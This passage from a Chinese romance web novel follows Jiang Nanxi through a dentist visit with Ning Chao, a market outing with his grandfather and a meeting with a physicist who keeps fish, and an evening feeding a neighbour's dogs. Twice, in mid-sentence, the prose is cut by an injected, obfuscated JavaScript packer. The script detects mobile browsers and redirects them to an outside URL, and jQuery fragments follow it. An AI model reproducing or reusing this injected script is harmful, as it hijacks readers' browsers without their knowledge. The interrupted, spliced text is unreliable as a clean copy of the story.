“您放心。”宁朝一手撑在车窗,身体斜倚,颇有耐心地看着她玩儿自己身份证,“现在人类还没发明在身份证上安摄像头的技术。” 装不下去了,姜南西扑哧一声笑出来,她将身份证还给宁朝:“谢谢啊。” “说这么多也不嫌牙疼。”宁朝看着她的脸色笑说了句,随即又嘱咐:“安全带系好。” 姜南西哦了声依言照做。 然而,当车辆滑入繁华的主干道,玩笑所带来的轻快氛围渐渐散去,一种名为“过意不去”的内疚和纠结又悄然袭来,姜南西踌躇几秒还是开口:“但是......” 宁朝目视前方没有说话,只是微微侧过脸庞,神情专注表明自己在听。 姜南西问:“但是你爷爷的早餐怎么办?” 早餐??? 多新鲜呐! 被迫享受了几天天伦之乐的宁衡远已经在想着怎么跟他断绝祖孙关系了。 “没事儿。”宁朝说单手打下方向盘,“老爷子外边儿还有个亲孙子,饿不着。” 姜南西:“......” . 中日友好医院,口腔科门诊。 姜南西忐忑不安地躺在治疗椅上,大气不敢出,感觉自己是案板上一块任人刀俎的鱼肉。 检查过程中,她尽最大可能地张大嘴巴,努力的样子把医生都逗笑了:“紧张啊?” 姜南西不能说话,只能从嗓子里哼哼了声,意思说是的。 跟大多数人一样,她很害怕看牙医,这源于小时候乳牙滞留时,碰见一位新手牙医,用非常暴力的方式拔掉了她的牙齿,给姜南西留下了严重的心理阴影。 这也是为什么智齿反复发炎,而姜南西却一直没有下定决心拔掉。 为了缓解她的紧张,医生一边检查,一边分散她的注意力:“姑娘看你这黑眼圈,没少熬夜吧,工作干什么的?” 等医生拿走口镜,姜南西才说:“没工作,待业呢。” “待业更要好好休息了。”医生的手在半空一挥,示意她头往左转,“可别老想七想八的不睡觉,你们这些小年轻那多少病都是熬夜熬出来的,现在还小不觉得,等再过几年脱发、头痛,再来个月经不调,可就来不及咯。” 姜南西在心底无奈苦笑。 熬夜不是她的本意,而是一到晚上,白天刻意无视的情绪会骤然反扑,让她控制不住地开始焦虑——满脑子都是以后的路该怎么走,什么才是生活的意义,一无是处的自己到底想要什么,辞职是不是一个错误,焦虑周围人都在努力的时候而她却在停滞不前。 无论是哪一种形式的内耗,最后都会不可避免地走向失眠的结局。 检查没什么大问题,简单的上药冲洗后,医生在电脑上开药单,询问姜南西等炎症好了之后,要不要把这颗智齿拔掉。 有时候人改变想法也就一瞬间的事儿,反正总有这么一天,而且中国人的传统是来都来了,姜南西叹口气说:“那就拔吧。” 医生又问什么时候来拔,姜南西犹豫再犹豫,说了个很靠后的时间。 她约好时间,医生开了单子让她拿完药就可以走了。 从诊室出来走到电梯间时,姜南西的眼中闪过一丝意料之外的诧异,她发现宁朝还在这里,正站在窗边跟什么人打电话。 “等我回公司再说。”看见姜南西,宁朝很快结束通话,径直朝她走过来。 逆光的高大身躯投下一片阴影,姜南西仰头问他:“你怎么还没走?” 宁朝接过她手里的病历本,语气理所应当:“说了要把你安全送回家。” 姜南西问:“你不用去公司吗?” “公司在恒通商务园,跟你顺路。” 说完,宁朝递给姜南西一瓶矿泉水,瓶盖已经被细心地拧开,瓶身在姜南西手心中散发着阵阵寒意。 姜南西抿了一口问:“冰的?” “吃药没那么快,你先含一口镇镇痛。”话说一半,宁朝突然停了下来,“好像脸有点肿。” 姜南西鼓了下腮帮子:“是吗?” “你别动我看看。”说着,他用手撑住双腿微一躬身,偏头去看姜南西的左脸:“确实肿了,家里有冰块吗?” 他边说边仔细观察,不自觉凑得越来越近,近到只要姜南西垂下眼帘,就能看见他的眼睛,纤长的羽睫随着呼吸在轻轻颤动,看着她的眼神关心而认真。 狭窄的电梯间,光线明亮,两人都没说话,静得只听得见彼此的一呼一吸。 这回姜南西彻底看清楚了,原来宁朝的眼睛不是单眼皮,而是不那么明显的内双,眉目清淡看着不易接近,但眼尾稍稍下压的弧度里,却泛着一星柔光。 电梯“叮”的上来,打断她潜意识里无法自抑的窥探,姜南西猛地回过神,抬脚往后退了一小步,她抬手捂住不知是疼还是烫的脸颊,别开视线囫囵道:“有的。” 宁朝愣了一下收回目光,也跟着站直身体。 电梯里的人一个一个下来,不断从两人身边经过,宁朝握紧病历本,他转眸看向窗外的医院草坪,深邃的瞳孔又黑又沉。 一直到拿完药出门诊大楼,两人都没再说话。 雨已经停了,阳光晴朗,照着湿润的草地亮闪闪的。 停车场离这还有一段路,要步行过去,姜南西闷着头往前走,因为不知道说什么来打破有些细微尴尬的气氛。 走了不知多远,宁朝伸手拉了她一把:“小心车。”一辆刚掉完头的私家车从两人面前开过,轮胎带起地上的积水飞溅。 “谢谢。”姜南西声音很轻。 不善表达的人,在不知所措的时候只能维持最后的礼貌。 宁朝走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765259|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她身边,让她走在道路里侧,不动声色地换掉话题:“医生怎么说的?” “没什么大问题,可能就是最近抵抗力下降了。”姜南西说,“等它不发炎了,再来拔掉就行。” 宁朝笑:“那我看你出来的时候一脸严肃?” “有吗?”意识到他在说什么,姜南西不好意思地讪笑了下,“那是因为医生说我太紧张,嘴巴张得太大了,要是再张大点,可能就要得TMD了,我在想TMD什么意思。” 宁朝淡淡道:“颞下颌关节紊乱。” 姜南西顿时讶异转头:“你知道?” “老爷子得过。”宁朝回她一个玩味的眼神,关于那晚的惨烈还记忆犹新,“我爸妈都是援藏医生,前几年刚去那边的时候总往家里寄牛肉干,老爷子嫌着没事儿就嚼,有一天没看住嚼得有点多,睡前打了个哈欠突然就下巴合不上了,半夜把我大哥从床上叫起来,火急火燎地赶回家给他安下巴。” “等我大哥赶回家一看,相当经典的颞下颌关节紊乱教学案例,就一边给老爷子安下巴,一边让我在旁边拿手机给他拍下来......” ...... “来同学们看好了啊,首先我们要让病人坐好,头靠墙,然后戴上手套,记得这一步很重要啊,大拇指缠好纱布,站在病人面前,这位患者有什么话要说?” 不能说话的宁衡远愤愤举起左手,呜呜嚷嚷地表达不满,宁原驰大手一挥:“好的没话说的话那就把手放下吧。” “来三儿你镜头往这边来点儿,同学们看着啊,大拇指要按在下颌磨牙颌面上,让病人放松,这位患者怎么还咬人呢!” 雨后的空气湿润清新,世界澄明的像是被灌满了清澈的山泉水,墙上密密的绿叶尤为透亮。 一如听完故事后,姜南西现在轻松舒畅的心情。 宁朝还在说:“把老爷子气的呀,连着两个月没让我俩进家门。” 姜南西听得想笑,但记着牙疼只能忍着,最终不得不挤出一个扭曲的表情,她评价道:“可不嘛,俩倒霉孩子。” 宁朝听完笑出了声,笑声清爽,瞬间驱散气氛中残存的拘谨和沉闷。 姜南西突然也就平静下来,觉得刚才的尴尬也不是什么大事了,人家明显都没放在心上,她也就没必要揪着那么几秒钟的事情折磨自己。 心底涌出一股怪异,好像这几次跟宁朝在一起,都不用那么时时刻刻地紧绷着,相反,她觉得很舒服,很放松。 这大概就是宁朝这类人独有的魅力吧,姜南西在心里想。 她下意识转头,对上宁朝还带着笑意的眼神:“今天谢谢啊,又欠你个人情。” 宁朝心情也好了点:“人情好说,你再帮我个忙。” “这次让我帮你买什么?” 宁朝看着越来越近的停车场,沉吟两秒说:“这周四老爷子想去趟花鸟鱼虫市场,但正好那天我要去天津出差,你看你有没有空陪他去一趟。” 姜南西毫不犹疑,一口答应:“可以啊,反正我没什么事儿。” 宁朝提议:“正好你也可以去看看。” 姜南西问:“那里有什么好玩儿的吗?” 宁朝说:“得去看看才知道。” 姜南西觉得也是,笑了笑没说话。 无话间,姜南西看见宁朝被雨打湿的肩头,刚才在小区门口,短短的十几步路,他的雨伞也完全向她倾斜。 雨都停了,他的衣服都还没干。 宁朝把花鸟鱼虫市场的地址发给她,姜南西想起来:“我跟你爷爷在哪儿汇合,地铁站?” “不坐地铁,你就直接开我的车去。”宁朝道。 说话的人看上去一脸坦然,反倒是姜南西惊讶了下,她皱眉:“宁总,我可是马上要离开北京的人,你就不怕我直接把你的车开走?” “车开走无所谓。”宁朝一脸视金钱如粪土的欠揍表情。 没等工薪阶级举旗反抗呢,紧接着又听他说:“把爷爷还回来就行。” “......” 这人说话完全不按套路,姜南西终于忍无可忍笑了出来,可刚一咧嘴,就不小心扯到发炎的智齿和肌肉,疼得她心里直抽抽,捂着脸颊“嘶——”地倒吸一口凉气。 一旁的宁朝见状毫不留情地笑出声。 姜南西没好气地瞪他一眼,拿起冰镇矿泉水贴到肿胀的脸上。 宁朝立马软声:“错了错了。” 10. 大亨果茶 宁衡远要去的花鸟鱼虫市场在海淀新街口,去看看之前定做的鱼缸。 这地儿之前叫官园花鸟市场,整个地下一二层都是商铺,一进去能看见各种让人眼花缭乱的鱼类爬宠和植物,跟逛微型动物园儿似的,店家让蜜袋鼯飞来飞去吸引顾客,还有人在地上遛螃蟹,那场面,看着甭提有多热闹。 跟姜南西预想的不一样,她以为宁衡远会直接拿了鱼缸就走,但没想到宁衡远步伐缓慢,他双手背在身后,神态悠哉地边走边逛,时不时会对某样东西很感兴趣,停下来跟店主搭上两句话。 姜南西自然不会催促,跟在后面走马观花。 宁衡远进了一家花卉店,姜南西在门口等。 店门口放着几个多层的白色铁架子,每层上面都摆满了多肉,大小高矮形状颜色各不相同,最边上的那盆只有巴掌大,里面的多肉形态长得很奇特,叶子饱满圆润,五彩缤纷的挤在一块,仿佛一颗颗充满生命的彩色石头。 姜南西头回见到这样的多肉,忍不住盯着多看了两眼。 宁衡远从店里出来喊她:“小西,走了。” 姜南西收回视线:“来了大爷。” 漫无目的逛了一大圈,宁衡远最后带着姜南西来到一家鱼馆。 老板和宁衡远是老相识,看见他身后的姜南西时,热切又疑惑地问宁衡远:“老宁,今天不是孙子陪着来的啊?” 但他也没问姜南西是谁,人跟人的交往就这样,既充满热情,又保持恰当的边界感。 “孙子出差去了。”宁衡远回他,接着他转过身对姜南西说:“小西啊,你在这儿等会儿,我跟老板去后面看看那鱼缸。” 老板大手一挥:“姑娘,这大鱼小鱼的你随便看啊。” 姜南西笑着点点头:“我自己转转,你们去吧。” 这是一家专门经营各类宠物鱼的店面,幽□□光照着一排排的玻璃水箱,色彩斑斓的小鱼在水中欢快穿梭,空气中弥漫着淡淡的海水咸味。 姜南西店里最大的鱼缸前驻足,弯下腰,看向里面唯一的那条大鱼。 这条大鱼肥胖扁平,尾巴呈红色,平阔的嘴巴上长着两条长长的胡须,游起来慢吞吞的,好半天游到玻璃附近,转过来跟姜南西对视,它瞪着俩绿豆大的小眼睛,送给姜南西一个睿智的眼神。 样子看着丑萌丑萌的,姜南西伸出手指,隔着玻璃摸了摸那条鱼的胡须。 “这鱼长得可爱吧。”和蔼的女声打断一人一鱼的互动。 闻声姜南西抬头,一位满头银发的老奶奶站在她身边,正笑容满面地看着鱼缸,见状姜南西连忙站起来,自觉给她腾开位置,老奶奶见状赶忙说:“没事儿你接着看。” 姜南西不好意思地挠头:“我也看不懂。” 老奶奶笑了笑,然后重新看回那条鱼:“这鱼叫红尾鲶,又叫招财猫。” 这名儿正中姜南西下怀:“这么吉利呢!” “但别看这鱼长得漂亮,名字又好听,实际上非常凶残,等它再长大点儿,就那巴掌长的鱼它能一口一条,然后懒在缸底一个星期,慢慢消化掉。” 姜南西好奇:“那为什么叫招财猫呢?” 老奶奶说:“因为这鱼性.成熟的时候叫起来像猫一样,而且只要嘴吞得下,它什么鱼都敢吃,来者不拒,所以大家给它取个招财猫的名儿。” 凶残,懒,吃同事,来者不拒。 ——听起来好耳熟。 姜南西眯起眼睛,隔空点点那条傻鱼,恶狠狠道:“小资本家。” “你要是没养过鱼啊,可以看看那边的。”老奶奶示意姜南西身后,无数条糖果色的小鱼在玻璃鱼缸里发着光,“那个好养活,放家里也漂亮。” 姜南西跟着问:“那些是什么鱼?” “天使鱼。”老奶奶走到玻璃水墙旁,目光怜爱地看着这些灵动的小天使,“你看这一个个活泼的小东西,多可爱啊。” 她的语气温柔不已,从话语中溢出来的浓浓喜爱,无形中勾起了姜南西的兴趣:“我看旁边那个鱼也挺有意思,样子憨憨的。” 接下来的十分钟,老奶奶边看鱼边回答姜南西的问题,她讲起话来神采奕奕,知识丰富而扎实,无论是每种鱼的生物学信息,还是养在家里应该几天换一次水,喂什么饲料,用什么过滤器,都能侃侃而谈。 连续的对话间隙,姜南西分神看了眼早已满头白发的女人。 她穿着常见的老年人的服装,款式普通到走进人群中就会被埋没,但她举手投足间的气质和谈吐都十分得体大方,双眼深邃清澈,满是专注和热爱地看着这些小鱼,这股热爱所带来的气场,令她朴素衣装下的灵魂闪闪发光。 有那么一秒钟,姜南西心尖像过了一道静电,一点点发麻。 无法用语言形容这种感觉,真的,热爱的能量像一团滚烫炽热的火。 只要靠近,就能被那股滚烫所感染,所感动。 按以往,姜南西应该拿起手机记录这一刻,而现下她忍住了。 她不忍打扰一位老人如此纯粹的瞬间。 察觉她的注视,老奶奶笑着问:“是哪里没听懂吗?” “不是。”姜南西目光敬仰而真诚,她实话实说:“是您讲的太好了,我听得有点入迷。” 上一秒还侃侃而谈的老奶奶,一下子有些不好意思,谦虚道:“都是些皮毛。” 姜南西说:“不不不,您肯定是这方面的专家。” 老奶奶摆手:“也就这两年看了点书。” 两人正笑着一来一回的客套,宁衡远和老板从后面回来,老板打招呼:“樊老师,又来拿鱼食啊。” 樊老师面带微笑地点点头:“家里鱼食不多了,老宁也在这儿呢?” “哟!这不樊大姐嘛!”宁衡远高扬一声,“这么久不见我以为你又上大西北搓核弹去了呢!” “你这老头子,快八十岁的人了,”樊老师忽而一改方才的斯文,拉下脸朝宁衡远啐了句,“一天到晚的没个正型。” 宁衡远挥挥手:“啥时候上我家吃饭去?” 樊老师说:“不去,你那饭咸的打死卖盐的了。” 回回两人碰上都要呛起来,老板听了好几年早就见怪不怪,乐呵呵地在旁边装鱼食。 姜南西微微诧异,原来几人都互相认识。 樊老师接过老板递过来的鱼食,看向姜南西时还是带着和善的笑意:“走了啊,姑娘。” 姜南西礼数周全:“欸,您慢点儿。” 她望着樊老师远去的背影,不免心生感叹。 喧闹繁乱的花市中,樊老师的背脊挺直如松,行走间保持着难以言喻的坚韧和优雅,似乎岁月从未侵袭她的生命。 怪不得人们都说,岁月从不败美人。 鱼缸有专人送上门,两人走路去停车场,路上姜南西忍不住问宁衡远:“刚刚那位樊老师,是宠物鱼这方面的专家?” “宠物鱼专家?”宁衡远听到这话,不禁咂了咂嘴,“那你可真低估樊大姐了,她可是我们那一届赫赫有名的才女。” “你们是同学?”姜南西讶异道。 今天温度宜人,灿烂的阳光温和地照耀在城市大地,宁衡远的语气也悠然:“我跟樊大姐是同年上的北大文学系,刚开学,她就在学校里出了名,不仅是人长得端庄,而且回回考试我们这帮小子都考不过她,还有不少其他系的小伙子,都挤破头想过来看看樊大姐的风采。” 姜南西试想了下那幅场景,扬唇无声笑笑。 “但是樊大姐第二年就没来文学系上课了。” 姜南西怔愣:“为什么?” “转系啦。”宁衡远敞亮的声音在风里浮浮沉沉,似是被时间从遥远的过去送过来,“按樊大姐自己的话来说,一开始上大学的时候也不知道自己喜欢什么,但听别人都说女孩子学文学好,她就报了文学,后来不知怎么的,觉得自己好像对物理有点兴趣,就跟学校申请了转系,但想弃文从理的转系不容易啊,樊大姐每天三点一线,天还没亮就去图书馆。” “那她学起来可真叫一个废寝忘食,就那用来装白开水的搪瓷缸。”宁衡远用手比划了个圆圈,“她学起来弄丢了好几个。” “最后樊大姐不到半年就达到人家物理系本科生一年的水平,学校终于同意她转过去,大四毕业的时候,樊大姐还是物理系的优秀毕业生呢。”宁衡远语气不自觉变得骄傲。 所以,那位樊老师,一边在为自己的梦想而奋斗,一边顺带考了个文学系第一。 “那后来呢?” “再后来啊,樊大姐就成了核工程领域的专家啦。” “这两年她又开始喜欢养鱼,才这么点时间就比有些养了十几年鱼的人都精通门道,想当年我考试考不过她,现在养鱼可不能被她给比下去。”表面上是不着调的傲娇埋怨,可实际上不难听出宁衡远话中对樊老师的赞赏和敬佩。 姜南西低头看着脚下的路,没有出声,心中久久不能平静。 不说震撼是假的,源于对樊老师的敬佩。 也许曾经有过短暂的彷徨,但能及时止损,在看清自己的内心之后,她能勇于打破僵局,遵循自己的内心,坚定不移地走向那个理想的自我。 正因为如此,所以樊老师可以在任何年纪,去做自己真正热爱的事情。 半晌没听姜南西说话,宁衡远转过头,见她脸色凝重:“怎么了,太阳太晒了?” “我就是突然觉得。”姜南西停了停,心中无数个念头闪过,最终只落为一句:“樊老师这样的人生才是真的有意义。” 因为比起富裕,她的人生更加富足。 “什么意义不意义的,想那么麻烦。”宁衡远倒不这么认为,他背着手大步向前,扬眉哼哼两声,“以前喜欢搓核弹,现在喜欢养小鱼儿,人活着,那不就图一乐儿嘛。” 这话倒没毛病,也挺洒脱。 可不是嘛,人不管走到哪一步,总得给自己找点乐子,不能老愁眉苦脸的。 轻风和煦拂过面庞,阳光明亮,空气清新,情绪来得快去得也快,跟翻书一样。 姜南西释然地笑了出来:“那您平时有什么乐子啊?” 宁衡远声如洪钟特别自豪:“我喜欢买保健品!!!” . 姜南西开车将宁衡远送回什刹海时,已经是傍晚五点多,宁衡远一定要留她下来吃晚饭。 他自己下厨,但坚持不让姜南西帮忙,姜南西只能坐在院子里等。 院子不大,盈逸着满满的生活气息,墙角的葡萄架下,葡萄藤蔓绕着架子蜿蜒而上,舒舒展展搭在架子顶上,细风袅袅,绿叶在空中飘拂摇曳。 六月正是结果的时候,一颗一颗的葡萄粒,像是小小的硬质绿玻璃。 而跟葡萄架的整齐不同,墙边那几盆茁壮生长的绿植,个个枝叶凌乱无章, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765260|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且每盆里都或多或少长着几根杂草,可能是主人忘了打理。 姜南西一个人在院子里坐得有些无聊,开始刷手机朋友圈。 学妹收到世界顶尖大学的offer,照片中的她喜极而泣,许久以前的同事晋升通过,迎来人生新起点,合作过的业内知名老师发布招聘通知,为新的纪录片项目招揽摄制人才...... 大家都在为生活和梦想而各自努力着。 可是手机好像也变得没有想象中好玩儿。 热点不断变换,潮流日新月异,有时候碰到完全不知所谓的英文缩写,让姜南西渐渐开始怀疑自己是不是已经落伍了。 又刷了几个没营养的短视频,看得眼睛酸涩发胀,姜南西放下手机眺望远方,她一转头,跟房顶上一只浑身黑色的流浪猫对上眼。 突然被人发现,小黑猫撅起屁股戒备地后退几步,长长的尾巴翘起来,晶莹剔透的碧绿眼珠来回打转,开始打量眼前这个陌生的人类。 夕阳染亮小猫的毛发,它浑身都闪烁着丝绸般的光泽,像极了动画片《美少女战士》里的小猫露娜。 姜南西冲它招了招手,放轻声音叫它:“咪咪~过来~”小黑猫收起尾巴端坐身体,表情冷淡,居高临下地凝视着姜南西。 姜南西以为它没有听见,又叫了声:“咪咪。” 小黑猫张大嘴巴嗷呜了一声,好像不太满意姜南西这么叫它,与此同时,从房顶那头窜出另一只小白猫,它嘴里叼着半截火腿肠,亮晶晶的大眼睛闪烁着新奇的光芒。 宿命般的巧合直接把姜南西逗乐了,她托腮看向两只颜色对比分明的小猫,跟它们一起享受日落前的宁静时光。 “看什么呢姜橙子?” 宁朝进门的时候,看见姜南西正对着屋顶发呆。 姜南西听见声音回头,刚从天津回来的宁朝一身风尘仆仆地走进院里,她语气轻快跟他打招呼:“你回来啦!” 暖黄的斜阳遍洒小院,姜南西坐在大理石圆桌旁,周身泛起柔和的微光,眼睛明亮得像一只漂亮的小猫。 望着眼前的画面,宁朝沉默片刻,随后淡淡嗯了声。 他走过去坐到姜南西身边,又问了一遍:“你看什么呢?” “那边的流浪猫。”姜南西扬手指向屋顶,示意他看那两只小猫,“你不觉得它们很像美少女战士里的露娜和亚提密斯吗?” 宁朝仰头看了一眼,逆光让他的脸部轮廓更加立体:“它俩的名字可没那么洋气。” 姜南西扭过头:“它俩有名字?”难怪刚刚叫咪咪两只猫都不搭理她。 “白色的叫白云。”宁朝回答。 空气安静了几秒。 姜南西坐直身体以示最后的反抗:“黑色的不能叫黑土。” 宁朝淡然:“那不会。” 就在姜南西刚刚为那小黑松了一口气时,就听宁朝无情道:“它叫苍狗。” “......” 良久,姜南西颇感无奈地叹了声气:“真是世事无常啊。” 宁朝笑着别过头。 不言不语看了会儿,宁朝问姜南西:“花市好玩吗?” “好玩儿!”说到这个,姜南西立刻眼神熠熠,兴高采烈地跟宁朝分享今天的所见所闻,“不但看到了好多奇怪的花啊草啊鸟啊,还跟大爷后头认识了一个特别酷的奶奶,她教我认识了好多宠物鱼,可惜都忘了拍了。” 宁朝拎起桌上茶壶,给自己倒了杯水:“核弹奶奶?” “你管樊老师叫核弹奶奶?”姜南西望向他,眼底映着微红的天空。 宁朝说:“我小时候不太听话,老爷子每次教训我的时候都说,要是不好好吃饭睡觉,就让樊老师拿核弹轰我,长此以往,我就叫她核弹奶奶了。” 别说,这称呼不仅听着很有个性,而且莫名符合樊老师身上那股子不羁的劲儿。 姜南西转而问他:“樊老师知道你这么叫她不生气?” “这算什么,核弹奶奶心情好的时候管我爷叫老宁,心情不好的时候......”宁朝说一半停下来,卖关子似地喝了口水。 姜南西稍稍靠近,压低声音问:“不好的时候呢?” 宁朝迅速瞥眼厨房里忙碌的身影,然后他抬起一只手,遮住两人的窃窃私语:“叫老狗。” “......” 老一辈知识分子的脑回路果然不同寻常, 姜南西捂住半边脸颊笑得停不下来。 忙活了快一个小时,宁衡远终于做好饭,他让两人先吃,自己则要先去喂个鱼。 饭前,宁朝去拿大亨果茶,一款老北京的山楂饮料,他问姜南西要冰镇的还是常温的,姜南西摇头拒绝:“不用了,我......” “相信我。”宁朝打断她,满脸的诚恳和好心:“你会需要的。” 这句话在姜南西第一口吃下宁衡远做的菜时得到了应验。 从小的教养不允许她在做客时有冒犯的表现,她强忍着将那口直逼血压一百八的凉拌杨花萝卜咽下去,然后放下筷子,好半天没有讲话。 喂完鱼回来的宁衡远见她没有动筷,关心问:“小西,怎么不吃啊?”旁边的宁朝好整以暇地看着她。 “等等再吃吧。”姜南西抿了下唇,一脸正色道:“等时间冲淡一切。” 宁朝憋笑憋到肩膀不停颤抖,趁宁衡远不注意,姜南西在桌底下抬腿踹了他一脚。 11. 宠物羊奶 饭后,宁衡远出门遛弯消食,宁朝问姜南西想不想去看看小狗,他发现姜南西很喜欢小动物。 姜南西站在门边看他,语气显然是期待的:“你养的?” “街坊的。”宁朝已经开始收拾东西,“你今天不是还没拍到素材吗?” 姜南西欣然同意:“好啊。” 养狗的那位街坊姓程,是气象学界享有盛誉的知名教授,上个月受国际组织邀请到南极科考站参与气象研究。 但因为是未婚独居,短期内又不能回来,所以他拜托了自己的朋友和邻居,定期到家中查看下小狗的情况,顺带投喂。 刚走到程教授家门口,就听见院子里几声按耐不住的狗叫声。 宁朝推开门,几只小狗欢欣鼓舞地奔向两人,姜南西刚进门就感觉裤脚缀了下,她低头一看,两三只小狗不断用脑袋蹭她小腿,尾巴像装了弹簧一样,在身后欢快地摇着螺旋圈。 姜南西用手指头点了一圈,她惊叹一声:“程教授一个人养了六只狗!” 宁朝说:“程教授还有匹马,叫大顺。” 姜南西笑弯了眼:“六六大顺。” 屋里,宁朝按着桌上便签条上的注意事项准备狗粮,姜南西蹲在旁边,安抚一只趴在地上不愿意动弹的小狗,它看着情绪不高,可能在想念许久未见的主人。 姜南西一边摸着狗头,一边用视线逡巡这间屋子,屋内陈设简单整洁,物体摆放规整到可以用样板间来形容,书架上,书籍按照年份来源分门别类码放在对应书格,严谨程度堪比管理有序的图书馆。 屋内装饰很少,除了墙角的木马摇椅,上面插着一只五彩风车,和冰箱门上循规蹈矩贴着的各式各样的冰箱贴,再无其他。 正中央的冰箱贴,是一个圆圆的木质小盒子,里面装着黑、白、绿、黄、粽五色谷物,寓意五谷丰登。 通过这些摆放陈设,姜南西心下判断,这位程教授是个一丝不苟但又童心未泯的人。 她最后又看了几眼那个冰箱贴,收回视线继续逗狗,想尽办法哄它开心。 用尽浑身解数换不来小狗的一个眼神,姜南西只好向宁朝求助:“狗粮分好了吗,它快要饿晕过去了。” 地上一人一狗,门口还有五只排排坐,正巴巴儿地望着他手里的盆,要不是姜南西在这,宁朝还以为自己又回到了公司,身后跟着那几个嗷嗷待哺的小子。 但宁朝才不信这狗能饿晕,他不以为意道:“这狗之前饿三天还能扑上来咬我呢。” 姜南西反问:“那你觉得它是为什么咬你?” 宁朝不明所以:“为什么?” 姜南西替狗打抱不平:“因为它饿了三天啊!” “......” 宁朝顿时反应过来,赶忙加快了分发六份狗粮的速度。 六只小狗头抵着头在海棠树下吃饭,圆圆的鼻尖随着咀嚼一耸一耸,宁朝坐在旁边的椅子上,饶有兴致地看姜南西拍视频。 她整个人埋在花影里,举着手机围着小狗们转了十几分钟,拍了差不多有二十多条,找了各种各样的角度,从全景到特写,从远景到中景,用心程度完全已经不是简单的在拍素材,更像是因为喜欢而单纯地在记录这个场景。 光是拍还不够,姜南西上手连着摸了好几轮,蓬松的毛发在指尖流窜,触感在掌心里软乎乎的,乐得她嘴角就没放下来过。 看她爱不释手的模样,宁朝问:“这么喜欢小动物,怎么不自己养一只?”从姜南西的朋友圈可以推断出,她没养宠物。 “养自己都马马虎虎,就别祸害小动物了。”姜南西笑着看他一眼,很快又重新看回手机,吃饱喝足的小狗朝屏幕抖了抖柔软的耳朵。 她边拍边说:“先不说它们可能会生病或者出意外,等它真正去世的那天,我就会反思自己,在它活着的时候,有没有努力照顾它,是不是经常带它出去散步,有没有足够的陪伴,有没有尽我最大能力给它最好的生活,而如果我对自己哪怕有一丝一毫的怀疑,都会换来无穷无尽的后悔。” “你很看重结果?” “一种对未来的预见性吧。” 宁朝不解:“但这只是你预想的结果,也许过程会很快乐呢。” “算了吧。”说到这,姜南西的笑容些许苦涩,“我都不能保证自己明天能不能按时吃饭,说不定哪天回家,就看见毛孩子趴在地上啃电线。” 听到不能按时吃饭,旁边吃得正香的小狗猛地抬起脑袋,湿漉漉的鼻尖还沾着几颗狗粮。 它看了看姜南西,然后一步一蹭地靠过来,用脑袋蹭了蹭姜南西的大腿,仿佛在安慰这个不能好好吃饭的人类。 姜南西感动的心都要化了,捧起狗头狠狠rua了一把。 话到此处,宁朝已经能听出来,本质上,姜南西是个害怕失去所以拒绝投入感情的人。 可以说是灾难化思维,精神时时刻刻紧绷,悲观到连宠物的寿命都要换算成“有效陪伴时长”。 从哲学的维度讲,因为无法掌控命运的走向,所以不让自己依赖任何外界事物,排除所有外在事件对情绪的影响,通过理性控制自己的生活和情感,以达到内心的安宁。 这便是斯多亚的不动心理论。 而从某种程度上,正因为对结果有执念,或者说追逐着某种预设的结局,所以难以接受最后的分离和结束,因为不愿意承担悲伤的代价。 这一切的背后也是为了维持内心的安全感和稳定感。 在今晚,宁朝对姜南西的了解又多了一点,并且确定了一件事。 ——姜南西,彻彻底底的回避型人格。 他没有不合时宜地追问下去,而是拿起手边的宠物羊奶,走到她身边蹲下,将羊奶依次倒进六只颜色大小一致的狗盆里。 地上,两人的影子叠在一块,末期的海棠花瓣随风簌簌飘落,像下了一场大雪。 他倒羊奶的时候,姜南西单手托腮看着这群喝奶的小狗,“吧唧吧唧”的声响在寂静的夜里显得十分治愈。 “不养宠物也不喜欢北京,那你不开心的时候都干什么?”倒完羊奶,宁朝回头看向姜南西温柔的侧脸,“一个人宅在家里?” “工作啊。”姜南西目不转睛,眼里尽是对小狗们的宠溺,“上班都忙不过来了,哪还有那么多时间不开心。” 对于她这种零零七的社畜来说,情绪太多也是一种浪费。 人生总要向前,所以情绪积压到一定地步,无处表达的时候,只有B站的那些视频,成为她内心活动唯一的倾诉。 可事实上,很多时候她也并不能真的做到像视频里那样,视频里的姜南西更多是她希望成为的自己,感知美好,鲜活治愈。 如今,唯一倾诉的出口岌岌可危,真正的她也被什么东西困住。 宁朝问:“不跟朋友说?” 姜南西说:“说,但朋友也忙啊。” 夜幕低垂,宁朝不知道想到了什么,意味不明地勾了勾唇。 姜南西反问:“你呢,不开心的时候干什么?” “我啊。”面对这个问题,宁朝微微仰起头,迎着灯光想了一会儿,“分阶段吧,念书的时候骑自行车去天安门看升旗,看国旗冉冉升起的时候,心里就慢慢没那么烦闷了,后来创业,心情不好或者压力大的时候,就去登山,滑雪,或者高空跳伞。” 姜南西问:“那现在呢?” 宁朝说:“现在的话,半夜去没人的路上骑摩托,吹风。” 轻描淡写的都是她不敢尝试的极限运动,姜南西心里既羡慕又敬佩,不由感叹道:“原来你不仅是资本家,还是天生的冒险家。” 这个评价在宁朝听来倒更像是嘲讽,他挑眉:“那我还读毛选呢,是坚定的无产阶级。” 闻言,姜南西诧异,用目光将他从头到脚仔细打量一番,眼神里写满了质疑。 